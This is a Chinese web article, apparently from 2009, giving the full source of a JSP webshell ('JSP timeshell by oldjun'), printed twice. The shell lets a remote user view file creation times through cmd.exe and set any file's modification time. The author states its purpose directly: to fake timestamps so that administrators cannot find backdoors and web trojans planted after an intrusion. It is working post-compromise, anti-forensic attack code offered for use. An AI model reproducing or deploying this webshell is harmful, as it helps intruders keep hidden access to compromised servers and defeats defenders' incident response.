JSP 修改文件時間的WEBSHELL
發(fā)布時間:2009-04-18 13:38:23 作者:佚名
我要評論

JSP 修改文件時間的WEBSHELL
很多網(wǎng)站的管理員通過查看文件的修改時間定位被入侵后流下的網(wǎng)馬與后門,因此修改文件的創(chuàng)建與修改時間可以有效的預(yù)防后門的泄露。
昨天研究了下,JSP只提供了修改“文件修改時間”的接口,卻沒有提供修改“文件創(chuàng)建時間”
JSP 修改文件時間的WEBSHELL
很多網(wǎng)站的管理員通過查看文件的修改時間定位被入侵后流下的網(wǎng)馬與后門,因此修改文件的創(chuàng)建與修改時間可以有效的預(yù)防后門的泄露。
昨天研究了下,JSP只提供了修改“文件修改時間”的接口,卻沒有提供修改“文件創(chuàng)建時間”的接口,因此貌似只能修改“文件修改時間 ”,kj021320的JSP SHELL有這個功能,不過只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 運(yùn)行不了kj021320的那個SHELL,于是決定自己寫個小的shell!
主要功能:
1.文件的時間屬性查看,包括修改時間與創(chuàng)建時間;
2.文件修改時間的修改,精確到秒;
代碼如下:
(Apache Tomcat/6.0.18下運(yùn)行通過!)
<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)
<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:
<%=filepath%>
lastModifiedtime:
<%=new Date(file.lastModified())%>
Createtime:
<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>
now:
<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />
<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");
else
out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");
}
%>
</body>
</html>
很多網(wǎng)站的管理員通過查看文件的修改時間定位被入侵后流下的網(wǎng)馬與后門,因此修改文件的創(chuàng)建與修改時間可以有效的預(yù)防后門的泄露。
昨天研究了下,JSP只提供了修改“文件修改時間”的接口,卻沒有提供修改“文件創(chuàng)建時間”的接口,因此貌似只能修改“文件修改時間 ”,kj021320的JSP SHELL有這個功能,不過只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 運(yùn)行不了kj021320的那個SHELL,于是決定自己寫個小的shell!
主要功能:
1.文件的時間屬性查看,包括修改時間與創(chuàng)建時間;
2.文件修改時間的修改,精確到秒;
代碼如下:
(Apache Tomcat/6.0.18下運(yùn)行通過!)
復(fù)制代碼
代碼如下:<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)
<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:
<%=filepath%>
lastModifiedtime:
<%=new Date(file.lastModified())%>
Createtime:
<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>
now:
<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />
<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");
else
out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");
}
%>
</body>
</html>
相關(guān)文章
2019最新RDP遠(yuǎn)程桌面漏洞官方補(bǔ)丁(針對win2003、win2008)
Windows系列服務(wù)器于2019年5月15號,被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會遭到攻擊,該服務(wù)器漏洞利用方式是通過遠(yuǎn)程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma的問題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲通過MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計(jì)算機(jī),該蠕蟲感染計(jì)算機(jī)后會向計(jì)算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對其2017-05-17
- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
- 漏洞檢測工具用語有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價值,感興趣的朋友一起看看吧2016-10-11
- 漏洞無處不在,它是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)2016-09-29
手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來APT追蹤盛行,最常見的就是各種以釣魚開始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚,也有魚叉式郵件釣魚,下面小編就為大家介紹office漏洞CVE-2012-0158,一起來看看吧2016-09-28- SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡單七步教你如何解決關(guān)鍵SSL安全問題2016-09-23
Python 爬蟲修養(yǎng)-處理動態(tài)網(wǎng)頁
在爬蟲開發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實(shí)現(xiàn)按照深度進(jìn)行爬行。但是實(shí)際上,這些并不夠。關(guān)于爬蟲的基礎(chǔ)知識比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12